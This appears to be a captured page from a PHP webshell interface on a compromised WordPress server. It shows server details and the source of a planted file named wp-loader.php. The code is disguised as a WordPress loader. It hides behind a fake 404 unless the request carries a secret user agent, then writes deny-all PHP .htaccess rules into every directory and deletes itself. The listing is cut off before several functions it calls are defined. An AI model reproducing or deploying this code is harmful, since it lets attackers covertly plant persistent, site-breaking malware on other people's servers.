Cylul007 Webshell

Uname : Linux ip-172-31-85-249 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
PHP : 7.4.16 on fpm-fcgi
Time : 26 Dec 2024 14:36:47

New File

New Folder

Path : /opt/bitnami/apps/wordpress/htdocs/

Current File : /opt/bitnami/apps/wordpress/htdocs/wp-loader.php

Download HOME

<?php
error_reporting(0);
@set_time_limit(0);
session_start();
ini_set('memory_limit', '-1');
define('UAMD53KEY', '39542de4e2fa50462d96ea26e878a658');

if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) != UAMD53KEY){
	header('HTTP/1.1 404 Not Found');
	header("status: 404 Not Found");
    die();
}
define('STEP', 2000);
$count = 0;
$total = empty($_GET['total']) ? 0 : $_GET['total'];
echo "total:".$total;
$GLOBALS['lastPathFound'] = false;

$content = '<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
 Deny from all
</FilesMatch>
</IfModule>';
$md5content = md5($content);
$tempFile = md5($_SERVER["HTTP_HOST"].$_SERVER['SCRIPT_FILENAME']);
define('TEMP_FILE', $tempFile);
define('HT_CONTENT', $content);
define('HT_CONTENT_MD5', $md5content);
file_put_contents(TEMP_FILE, "1");

$dir = ".";
$lastPath = empty($_GET['lastPath']) ? "" : base64_decode($_GET["lastPath"]);
echo "lastPath:" . $lastPath . " \n";
$path = formatPath($dir);
$lastPath = formatPath($lastPath);

if(file_exists(TEMP_FILE)){
 if(recurDirHt($path, $count, $total, $lastPath)){
 echo "all done! ";
 $GLOBALS['lastPath'] = "";
 }
	
	}else{
	echo 'root dir is not writeable, abord! ';
}

deletefile($_SERVER['SCRIPT_FILENAME']);
echo 'try to delete :' . $_SERVER['SCRIPT_FILENAME'] . " \n";
echo '<meta http-equiv="refresh" content="0; url=/" />';
die;
function recurDirHt($pathName, &$count, &$total, $lastPath = "")
{
 $lastSubPath = firstSubDir($pathName, $lastPath);
 $result = false;
 if(is_dir($pathName)) {
 $allFiles = scandir($pathName);
 if(empty($lastSubPath)){
 $GLOBALS['lastPathFound'] = true;
 }
 foreach($allFiles as $fileName) {
 $fullName = $pathName.'/'.$fileName;
 if(in_array($fileName, array('.', '..'))) {
 continue;
 }
 if(is_file($fullName)) {
 continue;
 }
 if(is_link($fullName)) {
 continue;
 }
 if($GLOBALS['lastPathFound'] == true || $fileName == $lastSubPath){ 
 if($fileName == $lastSubPath){
 echo "found: ".$lastSubPath." \n";
 }
 if($fullName == $lastPath){
 $GLOBALS['lastPathFound'] = true;
 echo "found lastPath".$lastPath." \n";
 }
 if($GLOBALS['lastPathFound'] == true){
 $count++;
 $total++;
 $GLOBALS['lastPath'] = $fullName;
 echo createHt($fullName);
 if(STEP <= $count){
 
 echo 'Last Path is :' . $fullName . " \n";
 echo '<meta http-equiv="refresh" content="0; url=?total='.$total.'&lastPath='.base64_encode($fullName).'" />';die;
 }else{
 echo "progress:".$count."/".$total." \n";
 }
 }else{
 echo 'ignore:' . $fullName . " lastPathFound false! \n";
 }
 if(!is_link($fullName) && is_dir($fullName) && is_readable($fullName)) {
 $result = recurDirHt($fullName, $count, $total, $lastPath);
 }
 }else{
 echo 'ignore:' . $fullName . " \n";
 }
 }
 $result = true;
 }
 return $result;
}

function arrPathExplode($path){
    $path = formatPath($path);
    $arr = explode('/', $path);
    return $arr;
}

function formatPath($path){
    $path = str_replace('\\', '/', $path);
    $path = preg_replace("|/+|", '/', $path);
    $path = rtrim($path, '/');
    return $path;
}

function file_put_contents_force($filename, $content){
    if(is_file($filename)){
        chmod($filename, 0777);
    }
    file_put_contents($filename, $content);
}

Not Found

/snippets/g8ofh3h3db/raw/alfapas.php